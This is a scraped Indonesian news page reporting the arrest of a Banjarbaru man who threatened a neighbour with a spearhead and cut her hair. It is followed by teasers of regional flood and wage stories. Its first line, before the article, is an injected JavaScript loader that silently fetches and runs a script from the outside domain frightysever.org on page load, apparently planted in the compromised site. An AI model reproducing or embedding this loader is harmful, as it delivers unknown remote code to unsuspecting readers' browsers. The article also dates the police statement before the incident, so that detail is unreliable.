(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Ancam Tetangga Pakai Ujung Tombak, H Mendekam Masuk Sel Mapolsek Liang Anggang


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki dengan senjata tajam jenis ujung tombak harus berurusan dengan polisi karena mengancam tetangga setelah berselisih faham.

Tersangka H (33) harus mendekam karena disangkakan pasal 2 ayat (1) Undang-Undang Darurat Nomor 12 Tahun 1951 dengan ancaman paling lama 10 tahun penjara.

Kapolsek Liang Anggang, Kompol Imam Suryana melalui Kanit Reskrim Polsek Liang Anggang Ipda Isman Riskadany mengungkap, sebelum kejadian H dan istrinya di rumah sempat terlibat cekcok karena ulah tetangga.

Kejadian ini dilaporkan terjadi pada Sabtu (29/11/2025) sekira pukul 17.00 Wita, tepatnya di Jalan Berkat Mufakat, Kelurahan Landasan Ulin Barat, Kecamatan Liang Anggang, Kota Banjarbaru.

Baca juga: Dipicu Daun Singkong, Lelaki 60 Tahun Sabet Perempuan Pakai Celurit

“Tersangka mendatangi korban yang merupakan tetangga sendiri untuk meminta penjelasan kejadian yang membuat tersangka dan istri cekcok di rumah,” ungkap Kapolsek Liang Anggang, Kompol Imam Suryana melalui Kanit Reskrim Polsek Liang Anggang Ipda Isman Riskadany, Kamis (4/11/2025).

Polisi mengungkap jika tersangka sempat membawa bensin menuju rumah korban menyiramkan ke sopa milik, tapi tidak sampai membakar. Tapi tersangka sempat mencabut ujung tombak yang ternyata dibawanya.

“Ujung tombak tersebut diarahkan ke rambut korban dan memotong rambut korban,” sebut dia.

Barang bukti yang diamankan berupa ujung tombak dengan panjang kurang lebih 35 centimeter dengan hulu yang terbuat dari kayu berwarna coklat serta potongan rambut korban.

Baca juga: Lapor Kehilangan Bollard ke Polisi, PUPR Banjarbaru Cari Pengganti Agar Tak Mudah Dicuri

Atas kejadian ini korban merasa tidak terima dan melapor ke Polsek Liang Anggang.

“Pelaku mengakui bahwa benar telah membawa senjata tajam tersebut tanpa ijin yang sah,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

10 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.